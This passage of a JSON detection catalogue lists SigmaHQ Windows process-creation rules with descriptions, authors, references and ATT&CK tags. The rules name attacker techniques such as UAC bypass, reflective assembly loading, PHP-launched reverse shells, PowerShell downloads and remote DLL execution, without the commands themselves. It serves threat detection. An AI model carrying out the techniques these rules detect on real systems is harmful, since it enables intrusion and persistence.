"estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f548a603-c9f2-4c89-b511-b089f7e94549", "value": "Potential Persistence Execution Via Microsoft Compatibility Appraiser" }, { "description": "Detects base64 encoded .NET reflective loading of Assembly", "meta": { "author": "Christian Burkard, pH-T", "creation_date": "2022/03/01", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_base64_reflective_assembly_load.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_reflective_assembly_load.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.defense_evasion", "attack.t1027", "attack.t1620" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "62b7ccc9-23b4-471e-aa15-6da3663c4d59", "value": "Base64 Encoded Reflective Assembly Load" }, { "description": "Detects scheduled task creations or modification on a suspicious schedule type", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/09", "falsepositive": [ "Legitmate processes that run at logon. Filter according to your environment" ], "filename": "proc_creation_win_susp_schtasks_schedule_type.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create", "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_schedule_type.yml" ], "tags": [ "attack.execution", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "24c8392b-aa3c-46b7-a545-43f71657fe98", "value": "Suspicious Schtasks Schedule Types" }, { "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", "meta": { "author": "frack113", "creation_date": "2022/01/15", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_char_in_cmd.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-6---dlp-evasion-via-sensitive-data-in-vba-macro-over-http", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_char_in_cmd.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027" ] }, "uuid": "e0552b19-5a83-4222-b141-b36184bb8d79", "value": "Obfuscated Command Line Using Special Unicode Characters" }, { "description": "Execute VBscript code that is referenced within the *.bgi file.", "meta": { "author": "Beyu Denis, oscd.community", "creation_date": "2019/10/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_bginfo.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bginfo.yml" ], "tags": [ "attack.execution", "attack.t1059.005", "attack.defense_evasion", "attack.t1218", "attack.t1202" ] }, "related": [ { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aaf46cdc-934e-4284-b329-34aa701e3771", "value": "Application Whitelisting Bypass via Bginfo" }, { "description": "Detects wmic known recon method to look for unquoted service paths, often used by pentest and attackers enum scripts", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_wmic_unquoted_service_search.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_unquoted_service_search.yml" ], "tags": [ "attack.execution", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "68bcd73b-37ef-49cb-95fc-edc809730be6", "value": "WMIC Unquoted Services Path Lookup" }, { "description": "Detects the pattern of UAC Bypass using Event Viewer RecentViews", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/11/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_uac_bypass_eventvwr.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/orange_8361/status/1518970259868626944", "https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_eventvwr.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation" ] }, "uuid": "30fc8de7-d833-40c4-96b6-28319fbc4f6c", "value": "UAC Bypass Using Event Viewer RecentViews" }, { "description": "Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.", "meta": { "author": "Florian Roth", "creation_date": "2022/08/21", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_renamed_adfind.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "https://thedfirreport.com/2020/05/08/adfind-recon/", "https://www.joeware.net/freetools/tools/adfind/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_adfind.yml" ], "tags": [ "attack.discovery", "attack.t1018", "attack.t1087.002", "attack.t1482", "attack.t1069.002" ] }, "related": [ { "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "df55196f-f105-44d3-a675-e9dfb6cc2f2b", "value": "Renamed AdFind Detection" }, { "description": "Detects the execution of a renamed meg.exe of MegaSync during incident response engagements associated with ransomware families like Nefilim, Sodinokibi, Pysa, and Conti.", "meta": { "author": "Sittikorn S", "creation_date": "2021/06/22", "falsepositive": [ "Software that illegaly integrates MegaSync in a renamed form", "Administrators that have renamed MegaSync" ], "filename": "proc_creation_win_renamed_megasync.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/rclone-mega-extortion/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_megasync.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "643bdcac-8b82-49f4-9fd9-25a90b929f3b", "value": "Renamed MegaSync" }, { "description": "Detects suspicious command line reg.exe tool adding key to RUN key in Registry", "meta": { "author": "Florian Roth", "creation_date": "2021/06/28", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.", "Legitimate administrator sets up autorun keys for legitimate reasons.", "Discord" ], "filename": "proc_creation_win_reg_add_run_key.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys", "https://app.any.run/tasks/9c0f37bc-867a-4314-b685-e101566766d7/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_run_key.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "de587dce-915e-4218-aac4-835ca6af6f70", "value": "Reg Add RUN Key" }, { "description": "Detects activity that could be related to Baby Shark malware", "meta": { "author": "Florian Roth", "creation_date": "2019/02/24", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_babyshark.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_babyshark.yml" ], "tags": [ "attack.execution", "attack.t1059.003", "attack.t1059.001", "attack.discovery", "attack.t1012", "attack.defense_evasion", "attack.t1218.005" ] }, "related": [ { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2b30fa36-3a18-402f-a22d-bf4ce2189f35", "value": "Baby Shark Activity" }, { "description": "Detects suspicious process run from unusual locations", "meta": { "author": "juju4, Jonhnathan Ribeiro, oscd.community", "creation_date": "2019/01/16", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], "filename": "proc_creation_win_susp_run_locations.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://car.mitre.org/wiki/CAR-2013-05-002", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_run_locations.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036", "car.2013-05-002" ] }, "uuid": "15b75071-74cc-47e0-b4c6-b43744a62a2b", "value": "Suspicious Process Start Locations" }, { "description": "Payloads may be compressed, archived, or encrypted in order to avoid detection", "meta": { "author": "frack113", "creation_date": "2021/12/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_run_from_zip.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-4---execution-from-compressed-file", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_from_zip.yml" ], "tags": [ "attack.impact", "attack.t1485" ] }, "related": [ { "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1a70042a-6622-4a2b-8958-267625349abf", "value": "Run from a Zip File" }, { "description": "Detects installation of a new shim using sdbinst.exe. A shim can be used to load malicious DLLs into applications.", "meta": { "author": "Markus Neis", "creation_date": "2019/01/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_sdbinst_shim_persistence.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdbinst_shim_persistence.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1546.011" ] }, "related": [ { "dest-uuid": "42fe883a-21ea-4cfb-b94a-78b6476dcc83", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "517490a7-115a-48c6-8862-1a481504d5a8", "value": "Possible Shim Database Persistence via sdbinst.exe" }, { "description": "Detects execution of php using the \"-r\" flag. This is could be used as a way to launch a reverse shell or execute live php code.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_php_inline_command_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", "https://www.revshells.com/", "https://www.php.net/manual/en/features.commandline.php", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_php_inline_command_execution.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d81871ef-5738-47ab-9797-7a9c90cd4bfb", "value": "Php Inline Command Execution" }, { "description": "Detects commandline containing reference to files ending with a \".\" This scheme has been seen used by raspberry-robin", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_raspberry_robin_single_dot_ending_file.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_raspberry_robin_single_dot_ending_file.yml" ], "tags": [ "attack.execution" ] }, "uuid": "a35c97c8-d9c4-4c89-a3e7-533dc0bcb73a", "value": "Raspberry Robin Dot Ending File" }, { "description": "Detects the use of rar.exe, on the command line, to create an archive with password protection or with a specific compression level. This is pretty indicative of malicious actions.", "meta": { "author": "@ROxPinTeddy", "creation_date": "2020/05/12", "falsepositive": [ "Legitimate use of Winrar command line version", "Other command line tools, that use these flags" ], "filename": "proc_creation_win_susp_rar_flags.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", "https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/", "https://ss64.com/bash/rar.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rar_flags.yml" ], "tags": [ "attack.collection", "attack.t1560.001" ] }, "related": [ { "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "faa48cae-6b25-4f00-a094-08947fef582f", "value": "Rar Usage with Password and Compression Level" }, { "description": "Detects a regsvr.exe execution that doesn't contain a DLL in the command line", "meta": { "author": "Florian Roth", "creation_date": "2019/07/17", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_regsvr32_no_dll.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_no_dll.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574", "attack.execution" ] }, "related": [ { "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "50919691-7302-437f-8e10-1fe088afa145", "value": "Regsvr32 Command Line Without DLL" }, { "description": "Attempts to detect system changes made by Blue Mockingbird", "meta": { "author": "Trent Liffick (@tliffick)", "creation_date": "2020/05/14", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_mal_blue_mockingbird.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/blue-mockingbird-cryptominer/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_blue_mockingbird.yml" ], "tags": [ "attack.execution", "attack.t1112", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c3198a27-23a0-4c2c-af19-e5328d49680e", "value": "Blue Mockingbird" }, { "description": "Detects the execution of whoami with suspicious parents or parameters", "meta": { "author": "Florian Roth", "creation_date": "2021/08/12", "falsepositive": [ "Admin activity", "Scripts and administrative tools used in the monitored environment", "Monitoring activity" ], "filename": "proc_creation_win_susp_whoami_anomaly.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami_anomaly.yml" ], "tags": [ "attack.discovery", "attack.t1033", "car.2016-03-001" ] }, "uuid": "8de1cbe8-d6f5-496d-8237-5f44a721c7a0", "value": "Whoami Execution Anomaly" }, { "description": "Detects REGSVR32.exe to execute DLL hosted on remote shares", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/31", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_regsvr32_remote_share.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_remote_share.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.010" ] }, "related": [ { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "88a87a10-384b-4ad7-8871-2f9bf9259ce5", "value": "Suspicious Regsvr32 Execution From Remote Share" }, { "description": "Detects signs of the exploitation of LPE CVE-2021-41379 to spawn a cmd.exe with LOCAL_SYSTEM rights", "meta": { "author": "Florian Roth", "creation_date": "2021/11/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_exploit_lpe_cve_2021_41379.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/klinix5/InstallerFileTakeOver", "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_lpe_cve_2021_41379.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1068" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "af8bbce4-f751-46b4-8d91-82a33a736f61", "value": "Possible InstallerFileTakeOver LPE CVE-2021-41379" }, { "description": "Detects suspicious command line in which a user gets added to the local Remote Desktop Users group", "meta": { "author": "Florian Roth", "creation_date": "2021/12/06", "falsepositive": [ "Administrative activity" ], "filename": "proc_creation_win_susp_add_user_remote_desktop.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_remote_desktop.yml" ], "tags": [ "attack.persistence", "attack.lateral_movement", "attack.t1133", "attack.t1136.001", "attack.t1021.001" ] }, "related": [ { "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ffa28e60-bdb1-46e0-9f82-05f7a61cc06e", "value": "Suspicious Add User to Remote Desktop Users Group" }, { "description": "Detects suspicious DACL modifications that can be used to hide services or make them unstopable", "meta": { "author": "Jonhnathan Ribeiro, oscd.community", "creation_date": "2020/10/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_service_dacl_modification.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dacl_modification.yml" ], "tags": [ "attack.persistence", "attack.t1543.003" ] }, "uuid": "99cf1e02-00fb-4c0d-8375-563f978dfd37", "value": "Suspicious Service DACL Modification" }, { "description": "Detects a Powershell process that contains download commands in its command line string", "meta": { "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", "creation_date": "2019/01/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_powershell_download.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3b6ab547-8ec2-4991-b9d2-2b06702a48d7", "value": "PowerShell Download from URL" }, { "description": "Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)", "meta": { "author": "Max Altgelt", "creation_date": "2022/08/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_sysnative.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysnative.yml" ], "tags": [ "attack.t1055" ] }, "uuid": "3c1b5fb0-c72f-45ba-abd1-4d4c353144ab", "value": "Process Creation Using Sysnative Folder" }, { "description": "Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors", "meta": { "author": "Florian Roth", "creation_date": "2022/05/19", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_susp_grpconv.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/0gtweet/status/1526833181831200770", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_grpconv.yml" ], "tags": [ "attack.persistence", "attack.t1547" ] }, "uuid": "f14e169e-9978-4c69-acb3-1cff8200bc36", "value": "Suspicious GrpConv Execution" }, { "description": "Detects a WMI backdoor in Exchange Transport Agents via WMI event filters", "meta": { "author": "Florian Roth", "creation_date": "2019/10/11", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_wmi_backdoor_exchange_transport_agent.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/cglyer/status/1182391019633029120", "https://twitter.com/cglyer/status/1182389676876980224", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_backdoor_exchange_transport_agent.yml" ], "tags": [ "attack.persistence", "attack.t1546.003" ] }, "related": [ { "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "797011dc-44f4-4e6f-9f10-a8ceefbe566b", "value": "WMI Backdoor Exchange Transport Agent" }, { "description": "Detects execution of renamed Remote Utilities (RURAT) via Product PE header field", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/19", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_renamed_rurat.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/misbehaving-rats/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rurat.yml" ], "tags": [ "attack.defense_evasion", "attack.collection", "attack.command_and_control", "attack.discovery", "attack.s0592" ] }, "uuid": "9ef27c24-4903-4192-881a-3adde7ff92a5", "value": "Execution of Renamed Remote Utilities RAT (RURAT)" }, { "description": "Detects execution of the binary \"wpbbin\" which is used as part of the UEFI based persistence method described in the reference section", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/18", "falsepositive": [ "Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)" ], "filename": "proc_creation_win_wpbbin_persistence.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://persistence-info.github.io/Data/wpbbin.html", "https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wpbbin_persistence.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.t1542.001" ] }, "uuid": "4abc0ec4-db5a-412f-9632-26659cddf145", "value": "UEFI Persistence Via Wpbbin - ProcessCreation" }, { "description": "Detects web servers that spawn shell processes which could be the result of a successfully placed web shell or another attack", "meta": { "author": "Thomas Patzke, Florian Roth, Zach Stanford @svch0st, Tim Shelton, Nasreddine Bencherchali (update)", "creation_date": "2019/01/16", "falsepositive": [ "Particular web applications may spawn a shell process legitimately" ], "filename": "proc_creation_win_webshell_spawn.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_spawn.yml" ], "tags": [ "attack.persistence", "attack.t1505.003", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8202070f-edeb-4d31-a010-a26c72ac5600", "value": "Shells Spawned by Web Servers" }, { "description": "Detects process injection using the signed Windows tool \"Mavinject\" via the \"INJECTRUNNING\" flag", "meta": { "author": "frack113, Florian Roth", "creation_date": "2021/07/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_mavinject_process_injection.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/Hexacorn/status/776122138063409152", "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/SigmaHQ/sigma/issues/3742", "https://github.com/keyboardcrunch/SentinelOne-ATTACK-Queries/blob/6a228d23eefe963ca81f2d52f94b815f61ef5ee0/Tactics/DefenseEvasion.md#t1055-process-injection", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md", "https://twitter.com/gN3mes1s/status/941315826107510784", "https://reaqta.com/2017/12/mavinject-microsoft-injector/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mavinject_process_injection.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1055.001", "attack.t1218.013" ] }, "related": [ { "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1bae753e-8e52-4055-a66d-2ead90303ca9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4f73421b-5a0b-4bbf-a892-5a7fb99bea66", "value": "Mavinject Inject DLL Into Running Process" }, { "description": "Detects usage of Msiexec.exe to install packages hosted remotely quietly", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_msiexec_install_remote.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_remote.yml" ], "tags": [ 